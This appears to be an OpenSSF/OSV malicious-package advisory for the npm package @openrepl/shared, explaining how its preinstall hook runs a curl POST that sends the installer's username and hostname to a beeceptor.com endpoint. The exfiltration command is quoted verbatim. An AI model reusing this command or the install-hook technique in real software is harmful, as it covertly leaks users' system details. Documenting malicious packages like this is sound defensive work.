OpenSSF/OSV advisory MAL-2026-14057 confirms this npm version as malicious. package.json declares a preinstall hook (`node index.js`) that runs automatically on `npm install`. index.js shells out via `child_process` to execute `curl -X POST` against `https://youjoex.free.beeceptor.com/$(whoami)/$(hostname)`, embedding the installer's OS username and hostname (captured via command substitution) in the URL path. beeceptor.com is a public request-inspection service commonly used as a...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @openrepl/shared (npm)
Details
package.json declares a preinstall hook (`node index.js`) that runs automatically on `npm install`. index.js shells out via `child_process` to execute `curl -X POST` against `https://youjoex.free.beeceptor.com/$(whoami)/$(hostname)`, embedding the installer's OS username and hostname (captured via command substitution) in the URL path. beeceptor.com is a public request-inspection service commonly used as a low-effort exfiltration sink. The package advertises no functionality that would justify this network beacon and ships no other library code consistent with its `shared` name.
Decision reason
OpenSSF Malicious Packages via OSV confirms @openrepl/shared@0.0.5 as malicious (MAL-2026-14057): Malicious code in @openrepl/shared (npm)